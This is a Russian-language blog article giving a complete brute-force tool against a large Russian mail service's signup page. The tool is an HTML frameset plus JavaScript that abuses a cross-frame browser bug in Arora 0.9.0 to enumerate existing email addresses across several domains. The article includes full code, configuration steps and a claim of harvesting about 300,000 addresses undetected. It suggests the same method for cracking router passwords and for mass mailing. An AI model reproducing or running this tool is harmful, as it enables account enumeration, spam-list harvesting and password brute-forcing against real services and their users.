экстравагантный способ перебора

Мой метод не претендует на рациональность, оптимальность, сверхбыстродействие итд, зато имеет в некотором роде универсальность.
Этим способом можно перебирать все, что имеет веб-интерфейс и не имеет капчи.

Способ заключается в следующем: создается примитивная html-страничка, с указанными в ней фреймами (2 и более). Фреймы ссылаються на страницу сайта, которого будем брутить и еще одну нашу страничку, содержащую javascript собственно самого переборщика.

Принцип действия: страница, с javascript’ом, а точнее сам javascript будет подставлять в форму выбранного нами сайта данные для перебора.

Для реализации всего выше указанного, нам необходимо немного соображать в javascript’е, html’е и самое сложное – найти и установить браузер с багом, который позволяет скрипту из одного фрейма обращаться к данным и объектам другого фрейма, где разнофреймовые страницы – ресурсы разных узлов.

Перепробывал следующие браузеры, и ни один из них не удовлетворяет нашим требованиям:
Windows: IE v 4-8, FFox 3/3.5, Opera 10, Google Chrome 3, Seamonkey 2.0b2
Linux: FF 3.5, Opera 10, Epiphany 2.26.3.
Однако, не смотря на неудачи, я все-таки нашел браузер с такой ошибкой, это оказался Arora 0.9.0 под Linux (RH).

Скачать его можно здесь.

Не знаю существует ли он под Windows и есть ли в нем этот баг.

Я решил набрать базу сайта /\/\аi|.ру, используя его следующее свойство:
на странице регистрации, при вводе желаемого логина он сам автоматом говорит занят логин или нет.
Ваша цель может быть любой, от перебора паролей к роутерам, до рассылки писем.

!!!в ссылках необходимо заменить /\/\аi|.ру, а так же имена почтовых доменов и поменять слэши

После того как установили браузер, необходимо написать сами страницы.

Первая, главная страница с разметкой на фреймы:

<html>
<head>
<title>/\/\аi|.ру checker all domains</title>
</head>
<frameset rows=25%,75%>
<frame name=’up’ src=’2.html’>
<frame name=’mid’ src=’http:\\win./\/\аi|.ру\cgi-bin\signup’ >
</frameset>
</html>

Вторая страница 2.html, так называемый интерфейс брутфорса (вопреки вышеуказанному, явакод будет размещен в отдельном файле, а не в файле страницы):

<script type=”text/javascript” src=”latvia.js”></script>
<html>
<body >
<form name=’cmd’ >
<table style=text-allign:center;font-size:70%;vertical-align:middle; >
<td>addresses:<br><textarea name=’alladress’ readOnly=’true’ cols=20 rows=10></textarea> </td>

<td>full number<br>
<textarea name=’nomer’ cols=13 rows=1>0</textarea><br>

<textarea name=’fakt_no’ readOnly=’true’ cols=3 rows=1>0</textarea>^<textarea name=’quantity’ cols=5 rows=1>1500</textarea><br>
exist address count<br>
<textarea name=’ex_count’ readOnly=’true’ cols=3 rows=1>0</textarea><br>
<input type=’button’ name=’start_bt’ value=’start’ onClick=’zamena()’ >
<input type=’button’ name=’update_bt’ value=’update’ onClick=’update_fr()’ >
</td>

<td>words:<br><textarea name=’words’ cols=20 rows=8></textarea><br>
dictionary/successively(0/1)<br>
<textarea name=’dicsuc’ cols=13 rows=1>0</textarea>

</td>

</table>

</form>
</body>
</html>

А теперь сам движок брутфорса, файл с явакодом(latvia.js):

var i=0;
var osnwait=1000;
var loawait=500;
var load_attemp=0;
var max_att=500;
var ex_count=0;
var flag=0;

var dom = new Array();
dom[0]=’@/\/\аi|.ру’;
dom[1]=’@ЬК.ru’;
dom[2]=’@inЬ0х.ru’;
dom[3]=’@|i$t.ru’;
var n_dom=0;

function next(dig,variant) //возвращает следующее слово
{if (variant==0){
word_ar=parent.up.document.cmd.words.value.split(‘  \n’);
return word_ar[dig];} else{
return dig.toString(36);}
}

function oknext() //заменяет домен на следующий (инб0кс/мaил/лиcT/Ьк)
{
if (flag==1){
if (parent.mid.document.uinfo.RegistrationDomain.sele  ctedIndex<3)
{parent.mid.document.uinfo.RegistrationDomain.sele  ctedIndex++;
}else{
parent.mid.document.uinfo.RegistrationDomain.selec  tedIndex=0;
parent.up.document.cmd.nomer.value=parseInt(parent  .up.document.cmd.nomer.value)+1;
i++;
parent.up.document.cmd.fakt_no.value=i;
}}
n_dom=parent.mid.document.uinfo.RegistrationDomain  .selectedIndex;
if (flag==0){
parent.mid.document.getElementById(‘userNameInput’  ).value=’^!@#$%&*’;
setTimeout(“zamena()”,loawait);
flag=1;
} else
{parent.mid.document.getElementById(‘userNameInput  ‘).value=next(parseInt(parent.up.document.cmd.nome  r.value),parseInt(parent.up.document.cmd.dicsuc.va  lue));
load_attemp=0;
if(i<=parseInt(parent.up.document.cmd.quantity.value))s  etTimeout(“zamena()”,osnwait);
flag=0;
}
}

function update_fr() //обновляет страницу с формой
{parent.mid.location=”http://win./\/\аi|.ру\cgi-bin\signup”;
load_attemp=0;
}

function zamena() //проверяет результаты выданные сайтом
{
//Еще проверяет
if(parent.mid.document.getElementById(“checkUser”).innerHTML.length==43){
setTimeout(“zamena()”,loawait);
load_attemp++;
if(load_attemp>max_att)    {
update_fr();
setTimeout(“zamena()”,osnwait*25);
}
}

//Сессия устарела
if(parent.mid.document.getElementById(“checkUser”).innerHTML.length==67){
update_fr();
setTimeout(“zamena()”,osnwait*25);}
//Мыло существует
if(parent.mid.document.getElementById(“checkUser”).innerHTML.length==143){
//alert(“exist”);
parent.up.document.cmd.alladress.value=parent.up.d  ocument.cmd.alladress.value+parent.mid.document.ge  tElementById(‘userNameInput’).value+dom[n_dom]+’\n’;

ex_count++;
parent.up.document.cmd.ex_count.value=ex_count;
oknext();
}
//Логин свободен т.е. мыло не существует
if(parent.mid.document.getElementById(“checkUser”).innerHTML.length==56)oknext();
if(parent.mid.document.getElementById(“checkUser”).innerHTML.length!=56 && parent.mid.document.getElementById(“checkUser”).innerHTML.length!=43 && parent.mid.document.getElementById(“checkUser”).innerHTML.length!=143 && parent.mid.document.getElementById(“checkUser”).innerHTML.length!=67)oknext();
}

Вопросы по коду:
?:зачем между сменами доменов вставлять ^!@#$%&* ?
0: иначе страница не видит что потенциальный логин был изменен, точнее его домен
?:как реализована задержка между вводами ?
0:посредством функции setTimeout() т.к. в яваскрипте нет функции а-ля sleep()
?:по какому принципу скрипт определяет что выдает сайт (Идет проверка/ ящик свободен итд)
0:чтобы не заморачиваться с кодировками он проверяет по длине строки т.е. например для строки ‘идет проверка’ длина = 43

Остальное непонятное станет ясно дальше.

Запуск и настройка:
Открываем в браузере первую страницу и видим примерно следующее:

Скриншот JS-Arora брутфорса

Пару слов перед настройкой:
этот переборщик может работать в двух режимах: пересчет всего подрят или перебор по словарю, но так как javascript не может читать из локального файла в качестве словаря выступает поле ‘words’.

  • Поле ‘addresses’ – здесь будут содержаться существующие адреса т.е. наши успешные попытки
  • Поле ‘full number’ – в случае если мы перебираем все возможные комбинации, сюда вбиваем порядковый номер комбинации символов, если по словарю, то номер слова в словаре.
  • Поле ниже ‘full number’- первое служит для отображения текущего номера слова/комбинации символов, а во втором задаеться количество слов/комбинаций которые будем перебирать
  • Поле ‘exist address count’ – здесь отображаеться количество набранных адресов
  • Поле ‘dictionary/successively(0/1)’ – выбор варианта перебора 0 – по словарю, 1 – все подряд
  • Поле ‘words’ – наш словарь
  • Кнопка ‘start’ – запускает перебор
  • Кнопка ‘update’ – обновляет фрейм сайта (использовать только в экстренных ситуациях т.к. скрипт сам обновляет страницу когда надо )

Настройка на перебор всего подряд
начинаем с 1000000 комбинации (full number = 0)
перебор всех комбинаций (dictionary/successively(0/1)=1)
количество = 5000

Настройка на перебор по словарю
начинаем со второго слова в словаре(отсчет идет с нуля) (full number=2)
перебор по словарю (dictionary/successively(0/1)=0)
количество = 10000

Итоги:
Я запускал эту страницу в 10, а иногда в 12-ти вкладках и за 3 дня перебрал несколько миллионов слов, в результате чего набрал базу в чуть больше 300 000 адресов и не разу не был никем забанен.
Важно: скрипт не устойчив к отключению интернета т.е. браузер будет сильно лагать вплоть до зависания если инета не будет больше 5-10 минут и вернуть оттуда набрученное будет очень тяжело, хотя мне удавалось.
Так же не рекомендую кидать в словарь слишком много слов, 10-15 тысяч на вкладку вполне достаточно, и не надо открывать много вкладок – сайт не будет выдавать быстрее инфу, чем его канал позволяет, а нагрузить память браузера можно достаточно серьезно, для стабильной работы необходимо не больше 15 вкладок .
Скачать все эти скрипты можно здесь.

Статья является плодом бурной фантазии автора и не призывает ни к каким действиям,
противоречащим законодательству. Ответственность за использование материала ложиться только на вас!
Любые совпадения с реальными людьми считаются случайными.

No Comments.

Leave a Reply

(обязательно)

(обязательно)